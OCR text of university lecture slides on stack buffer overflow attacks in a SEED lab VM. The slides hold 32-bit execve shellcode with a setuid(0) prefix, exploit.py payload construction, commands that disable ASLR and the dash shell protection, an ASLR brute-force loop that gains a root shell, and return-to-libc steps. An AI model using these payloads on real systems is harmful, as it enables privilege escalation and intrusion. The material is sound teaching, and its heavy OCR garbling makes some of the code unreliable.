gdb-peda$ p &buffer 25ret = Oxffffcbl8 + 0x78  # : Change this number
$2 = (char (#) [1@@]) Oxffffcaac 26 of fset = 108 + 4 - : Change this number
27
gdb-peda$ p/d Oxffffcbld - Oxffffcaac 28L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
$3 = 108 29 content[offset:offset + L] = (ret).to bytes(L, byteorder='little’)
gdb-peda$ g 30 HHH SRS A I I R T R R
31

5. Execute ./exploit.py
3. Turn off countermeasures

[10/04/22]seed@VM:~/.../code$ ./exploit.py
-> place return address ret=0xffffch90 @ offset=112 (0x70), place shellcode @ start=400 (0x190)

# Turn off ASLR!
sudo sysctl -w kernel.randomize va space=0

# link /bin/sh to /bin/zsh (no setuid countermeasure)
sudo 1n -sf /bin/zsh /bin/sh
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1. Get the address of $ebp with gdb 4. Update values in exploit.py

g db - ped a $ P $E b P 18 #HHHRH R R H R R R H R H R H B R R R H R R AR R R R R R R AR
_ . * 19# Put the shellcode somewhere in the payload
$1 = (void *) Oxffffcbld 20 start = 400 # TODO: Change this number
21 content[start:start + len(shellcode)] = shell.l.code

22
23 # Decide the return address value and put it somewhere in the payload.
24 # Here, we assume the ebp address is Oxffffce78.

2. Get the offset from buffer to return address

gdb-peda$ p &buffer 25ret = Oxffffchl8 + 0x78 # TODO: Change this number
$2 = (char (*) [1@@]) Oxffffcaac 26 of fset = 108 + 4 # TODO: Change this number
27
gdb-peda$ p/d Oxffffcbld - Oxffffcaac 28L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
$3 = 108 29 content[offset:offset + L] = (ret).to bytes(L, byteorder='little’)
gdb-peda$ g 30 HHH SRS A I I R T R R
31

5. Execute ./exploit.py

[10/04/22]seed@VM:~/.../code$ ./exploit.py
-> place return address ret=0xffffch90 @ offset=112 (0x70), place shellcode @ start=400 (0x190)

3. Turn off countermeasures

# Turn off ASLR!
sudo sysctl -w kernel.randomize va space=0 6. Run our vulnerable program!

# link /bin/sh to /bin/zsh (no setuid countermeasure) Egﬁ}d’éﬁé?eﬁg“":"/' --/code$ ./stack-L1

sudo 1n -sf /bin/zsh /bin/sh p I

ROOT SHELL! -
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Shellcode

8# 32-bit Shellcode

9 shellcode = (
10 "\X31I\xcO\x50\x68\x2F\x2T\x73\x68\x68\x2f" . .
11 "\x62\x69\x6e\x89\xe3\ x50\ x53\x89\xel\x31" This is the code we are executing
12 "\xd2\x31\xcO\xbO\xOb\xcd\x80"
13 ).encode( ' latin-1") What does this mean?
14
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Shellcode

#include <stdio.h>

include <stdlib.h> . .
:Ezlidz <f’mistd - This is the code we want to inject

int main ()
{ We need this program as executable

char *name[2]; instructions (binary)

name[0] = "/bin/sh";

name[l] = NULL;

execve (name[0] , name, NULL) ;

return 0; How could we get the binary instructions for this?

MONTANA
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Shellcode

#include <stdio.h>
include <stdlib.h> . .

iiizlidz <fmistd - This is the code we want to inject

int main ()

{ We need this program as executable

char *name[2]; instructions (binary)

name[0] = "/bin/sh";

name[l] = NULL;

execve (name[0] , name, NULL) ;

return 0; How could we get the binary instructions for this?

Compile and copy/paste it into our badfile!!
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Shellcode

#include <stdio.h>
#include <stdlib.h> . .
4include <unistd.h> This is the code we want to inject
int main ()

{ We need this program as executable

char *name[2]; instructions (binary)

name[0] = "/bin/sh";

name[l] = NULL;

execve (name[0] , name, NULL) ;

return 0; How could we get the binary instructions for this?

Compile and copy/paste it into our badfile!!

Problem: Compiling adds on a lot of junk into our program that will give us issues
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Shellcode

#include <stdio.h>
#include <stdlib.h> . ..
4include <unistd.h> This is the code we want to inject
int main ()

{ We need this program as executable

char *name[2]; instructions (binary)
name [0] = "/bin/sh";

name[l] = NULL;
execve (name[0] , name, NULL) ; _ . _ .
return 0; How could we get the binary instructions for this?

Compile and copy/paste it into our badfile!!

FINE I'LL DO'IT MYSELF

144



Shellcode execve is a system call!

execve will look in certain

N / system calls for us registers for which command
O ser 'Y st LS L LS LR ,
: Application glibc wrapper function : to execute
: program (sysdeps/unix/ "
| sysv/Linux/execve. c) : #include <stdio.h>
1 :"“"“P‘“" agv; ) ! #include <stdlib.h>
: / 1 #include <unistd.h>
X
! e int 0x80 — t ~
: execve(path, ?arg:mmls‘ NR_eoecos, \ int main()
| argv, envp); p;uz egnonvp) | | {
' & R o ord < ' l ey
: 1~ return; ! char *name[2];
: } 8 g name[0] = "/bin/bc";
R i+ gy 5 name[1] = NULL;
S| As execve(name[0],name, NULL);
| 13 /

------------ S— return
: System call Trap handler : §~ s L Sysca"
| service routine (arch/xg6/kemnel /fentry 32.5) | R &
1 (arch/x86/kernel/ :
: process_32.c) system call: =

I
I
1| sys_execve() :
bl R : EAX
| T call sys_call table :
: [__NR_execve] \

I
: return error; 1 | :
1|} . i
: : ECX Oor1 Environment variables

SO INT Ox80  gordtrapto kemeland
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Shellcode

Libraries handle the . |
/ system call orus execve is a system call!
-------------- UserMode jf == =======m===,
Application glibe wrapper function
program (sysdeps/unix/

execve will look in certain

sysv/linux/execve.c)

i i
: !
| . .
i |~ Tty i, ) | registers for which command
4 - o e . L to execute
: execve(path, (arguments: __NR_execve, \
: argv, envp); path, argu, envp) :
N ey T IR : = New Goal: Write the assembly instructions for loading the
’ 1 . . .
5 ' : g" g correct arguments into registers, and then calling exec!
.................................. - L4 S
S y a
------------ e (R
: System call Trap handler : ; 3
| service routine (arch/x86/kernel/entry 32.5) | ] R
1 (arch/x86/kernel/ ,
: process_32.c) system call: = +
1
_execve() !
E :)'s e e ‘\\ :
| T call sys_call table :
: [__NR_execve] \
: return error; ey :
L -~ "
|
1 -
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Sh || d New Goal: Write the assembly instructions for
elicode loading the correct arguments into registers, and
then calling exec!

Libraries handle the
—— / system calls for us
Application == gfi;cwnpperfuncﬁon | 9 exXecve (“/bln/Sh”, arg‘V, O )
program (sysdeps/unix/

sysv/linux/execve.c)

1
! |
! I
! |
( i
! execve(path, argv, envp) '
1 / { .
: . !
: ;'; o int ox80 - : -
xecv 5 3
| arg\': ) (arguments: __NR_execve, :
: path, argv, envp) |
e q\‘ . u L .
: 1 return; !
1
: } | g g
R i £ g
3 is
| 13
------------ Kernel Mode f - - - - -----=--= 3 %
: System call rap handler ; §~ 3
{ SEmveelONIne (arch/xB6/kernel/entry 32.5) | ] &
1 (arch/x86/kernel/ :
: process_32.c) system_call: - +
1
1
1| sys_execve() '
-~ 1
1
1 .\\ :
| call sys_call table \
: [__NR_execve] \
1
: return error; o e (6 1
I ' .
: I
-4
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Sh || d New Goal: Write the assembly instructions for
elicode loading the correct arguments into registers, and
then calling exec!

Libraries handle the
—— / system calls for us

: Application = gfi;cwnpperfuncﬁon E 9 eXeCve (“/bln/Sh”, arg‘V, O )
1 program (sysdeps/unix/ "
: sysv/linux/execve.c) :
! execve(path, argv, envp) |
1 ( | .
] il . B | 1. Load the registers
: execve(path, ? ar;:n:mts: i NR_:xecvc, i :
| argv, envp); path. argu, envp) :
! } 8 g
R 4 gv g

5l A

| 13 . :
------------ Kernel Mode - ----=-=-====== — “ »
- —— B! 5 address of “/bin/sh” string
| service routine (arch/x86/kernel /entry 32.5) | g 3
1 (arch/x86/kernel/ ,
: process_32.c) system call: = +
! |
; ke s ! = address of argv array
| T call sys_call table :
: [__NR_execve] \
: return error; 1 | E
At — — EDX =0
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Sh || d New Goal: Write the assembly instructions for
elicode loading the correct arguments into registers, and
then calling exec!

Libraries handle the
—— / system calls for us
Application = gii;cwnpperfuncﬁon | 9 eXeCve (“/bln/Sh”, arg‘V, O )
program (sysdeps/unix/

sysv/linux/execve.c)

5 E
: |
! execve(path, argv, envp) :
1 ( | .
. e e N : 1. Load the registers
: execve(path, ? a,;:“o" mits: NR_:xecvc, ; }
| argv, envp); sk, aipnasn) | |
| .es P g L _
=t | s R = 0x0000000b (11)
: ) ! § i
(I i Y |§

) A

| 13 : :
------------ Kernel Mode f§ - - - - == === = - == - g ”
- — E § 5 address of “/bin/sh” string
| service routine (arch/xBé/kemel/entry 32.5) | ] &
1 (arch/x86/kernel/ ,
: process_32.c) system call: = +
: Xecv ! —_
; oy s ! = address of argv array
1 [ call sys_call_table :
: [__NR_execve] \
: return error; o e (6 E
L e EDX =0

2. Invoke the syscall!! = Int 0x80
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Sh || d New Goal: Write the assembly instructions for
clicode loading the correct arguments into registers, and

"\x31\xc0" # xorl  %eax,beax then calling exec!
"\x50" # pushl $eax

"\x68""//sh" # pushl  $0x68732f2f > execve (“/bin/sh”, argv, 0)
"\x68""/bin" # pushl S0x6e69622f

"\x89\xe3" # movl %esp, $ebx

"\x50" # pushl eax

"\ x53" # pushl  Sebx

"\x89\xel" # movl %esp, $ecx

"\x99" # cdg

"\xb0\x0b" # movb $0x0b, %$al

"\xcd\x80" # int $0x80

Set EAX to syscall number

Issue INT 0x80 to invoke syscall malicious code
(the shell code!)

@

8# 32-bit Shellcode EAX NOP
9 shellcode = (

10 \x31\XCO\X50\Xx68\x2F\X2F\x73\X68\x68\x2f " D NoP

11 "\x62\x69\x6e\x89\xe3\x50\x53\x89\xel\x31" EBX 0
12 "\xd2\x31\xcO\xbO\x0b\xcd\x80" //sh
13 ).encode( ' 'latin-1") :_ Toin
14 OxADDR_STR
T T o T ECX 0
OxADDR_STR

> esp

(you wont need to write shellcode, but it is important to know what it is doing © ) I] A
EDX
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Defeating Countermeasures
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Countermeasure #1: Dash Secure Shell

On the VM, /bin/sh points to a secure shell, /bin/dash, which has a countermeasure

It drops root privileges if RUID != EUID when being executed inside a setuid process
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Countermeasure #1: Dash Secure Shell

On the VM, /bin/sh points to a secure shell, /bin/dash, which has a countermeasure

It drops root privileges if RUID != EUID when being executed inside a setuid process

Linked /bin/sh to a different shell (zsh) !

# link /bin/sh to /bin/zsh (no setuid countermeasure)
sudo 1ln -sf /bin/zsh /bin/sh
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Countermeasure #1: Dash Secure Shell

On the VM, /bin/sh points to a secure shell, /bin/dash, which has a countermeasure

It drops root privileges if RUID != EUID when being executed inside a setuid process

Linked /bin/sh to a different shell (zsh) !

# link /bin/sh to /bin/zsh (no setuid countermeasure)
sudo 1ln -sf /bin/zsh /bin/sh

Solution: Before running bash/dash, set our RUID to 0! 7€, ¢925T

"\x31\xcO" # xorl %eax, 3eax
"\x31\xdb" # xorl %ebx, $ebx
: "\xb0\xd5" # movb $0xd5, %al
Invoke setuid (0) to our shelicode! \xod\x80" fint  s0x80
#---— The code below is the same as the one shown before ---
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Countermeasure #2: ASLR (address space layout randomization)

ASLR = Randomize the start location of the stack, heap, libs, etc : :
« This makes guessing stack

addresses more difficult!

| stack ]E ¥y \: i[ stack ]E
I . stack . !
| lib(s) J: ; i .
' o 1 lib(s) s
. ! . heap ol J!
i B Y| heap |
:[ heap J: | lib(s) A 4

T T S T e e
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Countermeasure #2: ASLR (address space layout randomization)
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Countermeasure #2: ASLR (address space layout randomization)

We are going to guess (a lot!!!)

Setup -» use shell w/out RUIDI=EUID countermeasure + turn ASLR ON

$ sudo 1ln -sf /bin/zsh _/bin/sh

d tl - 1. domi =2
$ sudo sysc w kernel.randomize va space _

Compile a root-owned set-uid program W

$ gcc -o stack-Ll -z execstack -fno-stack-protector stack.c
$ sudo chown root stack

$ sudo chmod 4755 stack
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Countermeasure #2: ASLR (address space layout randomization)

We are going to guess (a lot!!!)

Repeatedly run the program until we get lucky... | .. ... ..
The program has been run 67679 times so far...

#!/bin/bash ) — .

./brute-force.sh: line 13: ... Segmentation fault ./stack-L1
SECONDS=0 The program has been run 67680 times so far...
value=0 ./brute-force.sh: line 13: ... Segmentation fault ./stack-L1

The program has been run 67681 times so far...
# id <-- ROOT SHELL!

hile t ; do
whi-e True uid=1000(seed) gid=1000(seed) euid=0(root)

value=5(( Svalue + 1 ))
duration=$SECONDS
min=3 ( (Sduration / 60))
sec=5 ( ($duration % 60))
echo "The program has been run $value times so far (time elapsed: $min minutes and $sec seconds)."
./stack-L1

done
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Announcements

Lab 4 released and due 10/16

Lecture next Thursday will either be cancelled or virtual (I am out of the country 10/13 — 10/18)
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Buffer Overflow Countermeasures

Safe Shell (/bin/dash)

Address space layout randomization (ASLR)

Stack Guard

Non executable stack
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Buffer Overflow Countermeasures

Safe Shell (/bin/dash)

Add shellcode to our payload that sets the RUID =0

Address space layout randomization (ASLR)

Stack Guard

Non executable stack
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Buffer Overflow Countermeasures

Safe Shell (/bin/dash)

Add shellcode to our payload that sets the RUID =0

Address space layout randomization (ASLR)

Brute Force

Stack Guard

Non executable stack
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Stack Guard

Compiler Countermeasure***

THE STACK

#include <stdio.h>

... previous stack frames...

int main(){

int arr[3];
arr[0] = 1;
arr[l] = 2;
arr(2] = 3;

// will this work?
arr[4] = 5;

printf("sd \n ",arr[4]);

return 0;
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Stack Guard THE STACK

#include <stdlo.h> Compile with stack guard turned off:

[i@/96/221599d@iﬁ:~$.gcc exahple.c -0 example -fno-stack-protector
int main(){ é10/96/22] seed@/M:~$ ./example

... previous stack frames...

We overflowed the array!

int arr[3];
arr[0] = 1;
arr[l] = 2;
arr[2] = 3;

// will this work? -
arr[4] = 5;

printf("%sd \n ",arr[4]);

return 0;
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Stack Guard THE STACK

#include <stdio-h> Compile with stack guard turned off: ... previous stack frames...

[i@/GG/ZZ]éeed@iH:~$'gcc exahple.c -0 example -fno-stack-protector
[10/06/22]seed@VM:~% ./example

int main(){ s

We overflowed the array!

int arr[3];
arr[0] = 1;
arr[l] = 2;
arr[2] = 3;

// Will this work? -
arr[4] = 5;

Compile with stack guard turned on:

[10/06/22]seed@VM:~$ gcc example.c -0 example
[10/06/22]seed@VM:~$ ./example
5
return 0; *** stack smashing detected ***: terminated
} Aborted

printf("%sd \n ",arr[4]);

Aborted when we pass the stack guard

MONTANA
STATE UNIVERSITY



Non-Executable Stack

THE STACK
Compiler Countermeasure***
Writable areas of program data NOP NOP NOP ONP

& stack cannot be executed

With an executable stack:

$ ./shellcode

$ gcc -o shellcode -z execstack shellcode.c
# <— Got the (root) shell!

With a non-executable stack:

$ gcc -o shellcode -z noexecstack shellcode.c
$ ./shellcode
Segmentation fault (core dumped)
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Non-Executable Stack

THE STACK
Compiler Countermeasure***
Writable areas of program data NOP NOP NOP ONP

& stack cannot be executed

This does not prevent buffer overflow, however

Instead of injecting our own code, we could....

With an executable stack:

$ ./shellcode

$ gcc -o shellcode -z execstack shellcode.c
# <— Got the (root) shell!

With a non-executable stack:

$ gcc -o shellcode -z noexecstack shellcode.c
$ ./shellcode
Segmentation fault (core dumped)
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Non-Executable Stack

THE STACK
Compiler Countermeasure***
Writable areas of program data NOP NOP NOP ONP

& stack cannot be executed

This does not prevent buffer overflow, however

Instead of injecting our own code, jump to existing code

$ gcc -o shellcode -z execstack shellcode.c ‘

With an executable stack:

$ ./shellcode
# <— Got the (root) shell!

With a non-executable stack:

$ gcc -o shellcode -z noexecstack shellcode.c
$ ./shellcode
Segmentation fault (core dumped)
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Defeating Non-Executable Stack

Compiler Countermeasure***

Instead of injecting our own code,
we will jump to existing code

Libc Shared Library
Printf

fopen

Malloc
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Defeating Non-Executable Stack

Compiler Countermeasure***

Instead of injecting our own code,
we will jump to existing code

Libc Shared Library 4‘\"
Printf @Oo/
Gé/

fopen @O

(0)
Malloc %

'9@0/ .

.o OO
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Libc Shared Library
Printf

Return-to-libc Attack

fopen

Malloc

Construct Payload using
code and data that is

Existing Code
already on the system

Chained Gadgets  me |t fulr|n [o]|r |ien [tea| |Pro|g|ra |mm |ing
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Return-to-libc Attack Libc Shared Library
Printf

fopen

Malloc

* Find address of system()
» Overwrite the return address with system()’s address

* Find the address of the “/bin/sh” string
» To get system() to run this command

« Construct arguments for system()
» To find the location in the stack to place the address to the “/bin/sh” string (arg for system())
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Libc Shared Library
Printf

Return-to-libc Attack

fopen

Malloc

* Find address of system()
» Overwrite the return address with system()’s address

This can be found by using gdb

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42dal0 < 1libc system>
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Libc Shared Library
Printf

Return-to-libc Attack

fopen

Malloc

* Find address of system()
» Overwrite the return address with system()’'s address

» To get system() to run this command
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Libc Shared Library
Printf

Return-to-libc Attack

fopen

Malloc

* Find address of system()
» Overwrite the return address with system()’s address

+ Find the address of the “/bin/sh” string
$ gcc -o myenv envaddr.c

> To get t to run this command
get system() $ export MYSHELL="/bin/sh"
$ ./myenv
Value: /bin/sh

We can define an environment variable that has the value “bin/sh” Address: bffffef8

The environment variable gets loaded into the program and placed onto the stack
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Libc Shared Library
Printf

Return-to-libc Attack

fopen

Malloc

* Find address of system()
» QOverwrite the return address with system()’s address

_ _ Remember that
* Find the address of the “/bin/sh” string system (“/bin/1s”)

» To get system() to run this command will fork and spawn a new /bin/sh
process

« Construct arguments for system()
» To find the location in the stack to place the address to the “/bin/sh” string (arg for system()) exit()

**We also need to find the address for the exit () function so the original process can terminate gracefully
MONTANA
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Lessons Learned
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Security Principle #3

Principle of Isolation

Address spaces for processes should be isolated from one another,
and there should be no interference between two address spaces

Process D

99)
c
—h
. —
-
O
< Process X
D
3,
Process 4 ) =
=
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Security Principle #4

Principle of fail-safe defaults

U

In a process or system FAILS for whatever reason, it will default to a
SAFE outcome
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